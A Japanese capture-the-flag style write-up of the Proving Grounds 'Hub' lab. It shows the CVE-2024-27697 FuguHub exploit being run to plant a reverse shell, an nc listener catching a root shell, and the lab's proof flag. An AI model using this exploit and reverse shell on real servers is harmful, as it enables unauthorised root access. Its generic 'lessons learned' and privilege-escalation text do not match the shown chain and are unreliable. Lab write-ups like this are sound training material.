Post

Proving Grounds - Hub (Linux)

Proving Grounds Hub Linux マシン解説。偵察・初期アクセス・権限昇格を解説。

Proving Grounds - Hub (Linux)

概要

項目 内容
OS Linux
難易度 記録なし
攻撃対象 Webアプリケーションおよび公開されたネットワークサービス
主な侵入経路 Web RCE (CVE-2024-27697)
権限昇格経路 ローカル列挙 -> 設定ミスの悪用 -> root

認証情報

  • admin:password

偵察


💡 なぜ有効か このフェーズでは到達可能な攻撃対象領域を把握し、悪用が成功しやすい箇所を特定します。正確なサービスおよびコンテンツの探索により、無駄な試行を減らし、的を絞った後続アクションを導きます。

初期足がかり


Screenshot from the hub engagement キャプション:このフェーズで取得したスクリーンショット

https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-CVE-2024-27697 Screenshot from the hub engagement キャプション:このフェーズで取得したスクリーンショット

Screenshot from the hub engagement キャプション:このフェーズで取得したスクリーンショット

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 exploit.py -r $ip -rp 8082 -l 192.168.45.180 -p 80
1
2
3
4
5
6
7
8
9
10
11
❌[1:04][CPU:19][MEM:61][TUN0:192.168.45.180][...icated-RCE-CVE-2024-27697]
🐉 > python3 exploit.py -r $ip -rp 8082 -l 192.168.45.180 -p 80
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...

💡 なぜ有効か 初期アクセスのステップでは、発見した弱点を連鎖させ、対象に対する実行可能な制御を確立します。足がかりの成功は、コマンド実行またはインタラクティブなシェルのコールバックによって検証されます。

権限昇格


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
rlwrap -cAri nc -lvnp 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❌[1:04][CPU:12][MEM:62][TUN0:192.168.45.180][...4.OSCP/Proving_Ground/Hub]
🐉 > rlwrap -cAri nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.180] from (UNKNOWN) [192.168.104.25] 52508
id
uid=0(root) gid=0(root) groups=0(root)
ls -la
total 3608
drwxr-xr-x 10 root   root      4096 Feb  4 11:16 .
drwxr-xr-x  3 root   root      4096 Jun 13  2023 ..
drwxr-xr-x  2 offsec offsec    4096 Nov  9  2015 applications
-rw-r--r--  1 root   root       179 Jun 13  2023 bd.dat
-rw-r--r--  1 offsec offsec      56 Jun 13  2023 bdd.conf
drwxr-x---  3 root   root      4096 Jun 13  2023 cache
drwxr-xr-x  5 offsec offsec    4096 Jun 13  2023 cmsdocs
drwxr-xr-x  2 offsec offsec    4096 Feb  4 11:16 data
-rw-r--r--  1 root   root       164 Feb  4 11:16 dbcfg.dat
drwxr-xr-x  2 offsec offsec    4096 Apr 30  2014 disk
-rw-r--r--  1 root   root       135 Feb  4 11:16 drvcnstr.dat
-rw-r--r--  1 root   root        33 Feb  4 11:16 emails.dat
-rwxr-xr-x  1 offsec offsec 2399312 Nov  3  2021 FuguHub
-rwxr-xr-x  1 offsec offsec     220 Nov  3  2021 FuguHub.lua
-rw-r--r--  1 root   root   1188104 Jun 13  2023 FuguHub.zip
drwxr-xr-x  2 offsec offsec    4096 Sep 28  2016 InstallDaemon
-rw-r--r--  1 offsec offsec      87 Nov  3  2021 LICENSE.txt
-rwxr-xr-x  1 offsec offsec   18730 Nov  3  2021 readme.txt
-rw-r--r--  1 root   root       794 Feb  4 11:16 roles.dat
drwxr-xr-x  2 offsec offsec    4096 Apr 30  2014 themes
drwxr-x---  2 root   root      4096 Mar  4  2025 trace
-rw-r--r--  1 root   root        78 Feb  4 11:16 tuncnstr.dat
-rw-r--r--  1 root   root       464 Feb  4 11:16 user.dat
cat /root/proof.txt
b55325d306224b739127b4a80d09c171

💡 なぜ有効か 権限昇格はローカルの設定ミス、安全でないパーミッション、信頼された実行パスに依存します。これらの信頼境界を列挙して悪用することが、rootレベルのアクセスへの最短経路です。

まとめ・学んだこと

  • 本番同等の環境でフレームワークのデバッグモードとエラー露出を検証する。
  • 特権ユーザーやスケジューラーが実行するスクリプト・バイナリのファイルパーミッションを制限する。
  • ワイルドカード展開やスクリプト化可能な特権ツールを避けるため sudo ポリシーを強化する。
  • 露出した認証情報と環境ファイルを重要機密として扱う。

攻撃フロー


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

flowchart LR
    subgraph KC1["Kill Chain 1: 偵察"]
        direction TB
        K1A[Rustscan実行]
        K1B[4ポート発見]
        K1C[22/SSH, 80/HTTP<br/>8082/HTTP, 9999/SSL-HTTP]
        K1D[Nmap詳細スキャン]
        
        K1A --> K1B --> K1C --> K1D
    end
    
    subgraph KC2["Kill Chain 2: サービス列挙"]
        direction TB
        K2A[OpenSSH 8.4p1]
        K2B[nginx 1.18.0 - 403]
        K2C[Barracuda Embedded Server]
        K2D[FuguHub特定]
        
        K2A --> K2B --> K2C --> K2D
    end
    
    subgraph KC3["Kill Chain 3: 脆弱性調査"]
        direction TB
        K3A[FuguHub 8.4調査]
        K3B[CVE-2024-27697発見]
        K3C[Authenticated RCE確認]
        K3D[exploit.py取得]
        
        K3A --> K3B --> K3C --> K3D
    end
    
    subgraph KC4["Kill Chain 4: 初期アクセス"]
        direction TB
        K4A[ポート9999確認]
        K4B[admin:password作成]
        K4C[管理画面アクセス]
        K4D[customize.lsp特定]
        
        K4A --> K4B --> K4C --> K4D
    end
    
    subgraph KC5["Kill Chain 5: エクスプロイト"]
        direction TB
        K5A[ncリスナー起動<br/>ポート80]
        K5B[exploit.py実行]
        K5C[Aboutページに注入]
        K5D[リバースシェル設置]
        
        K5A --> K5B --> K5C --> K5D
    end
    
    subgraph KC6["Kill Chain 6: rootシェル取得"]
        direction TB
        K6A[シェル確立]
        K6B[uid=0 root確認]
        K6C[権限昇格不要]
        K6D[FuguHub実行権限root]
        
        K6A --> K6B --> K6C --> K6D
    end
    
    subgraph KC7["Kill Chain 7: 目標達成"]
        direction TB
        K7A[rootディレクトリアクセス]
        K7B[proof.txt発見]
        K7C[フラグ取得]
        K7D[b55325d306224b739127b4a80d09c171]
        
        K7A --> K7B --> K7C --> K7D
    end
    
    KC1 ==> KC2 ==> KC3 ==> KC4 ==> KC5 ==> KC6 ==> KC7
    
    style KC1 fill:#e8eaf6
    style KC2 fill:#fff9c4
    style KC3 fill:#ffccbc
    style KC4 fill:#f8bbd0
    style KC5 fill:#c8e6c9
    style KC6 fill:#ff9800
    style KC7 fill:#4caf50
    style K6B fill:#ff6b6b,color:#fff
    style K7D fill:#2196f3,color:#fff

参考文献

  • CVE-2024-27697: https://nvd.nist.gov/vuln/detail/CVE-2024-27697
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.